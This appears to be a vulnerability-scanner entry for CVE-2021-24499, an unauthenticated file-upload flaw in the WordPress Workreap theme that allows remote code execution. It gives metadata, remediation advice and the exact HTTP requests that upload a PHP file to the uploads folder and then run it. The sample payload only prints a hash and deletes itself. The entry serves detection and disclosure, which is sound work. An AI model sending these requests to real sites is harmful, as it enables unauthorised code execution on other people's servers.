| Title | WordPress Workreap - Remote Code Execution |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site. |
| Remediation | Update to the latest version of the Workreap plugin to fix the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93938 |
| CVE ID | CVE-2021-24499 |
| CWE ID | CWE-434 |
| Tags | cve cve2021 wpscan packetstorm rce workreap wordpress wp-plugin intrusive wp amentotech vkev vuln |
WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/13.0
Connection: close
Content-Length: 416
Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
-----------------------------cd0dc6bdc00b1cf9
Content-Disposition: form-data; name="action"
workreap_award_temp_file_uploader
-----------------------------cd0dc6bdc00b1cf9
Content-Disposition: form-data; name="award_img"; filename="38FHCXA2eCGaBXgu5R2DRfnnJUG.php"
Content-Type: application/x-httpd-php
<?php echo md5("CVE-2021-24499");unlink(__FILE__);?>
-----------------------------cd0dc6bdc00b1cf9--
GET /wp-content/uploads/workreap-temp/38FHCXA2eCGaBXgu5R2DRfnnJUG.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (watchTowr; Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24499.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24499.pcap
N/AN/A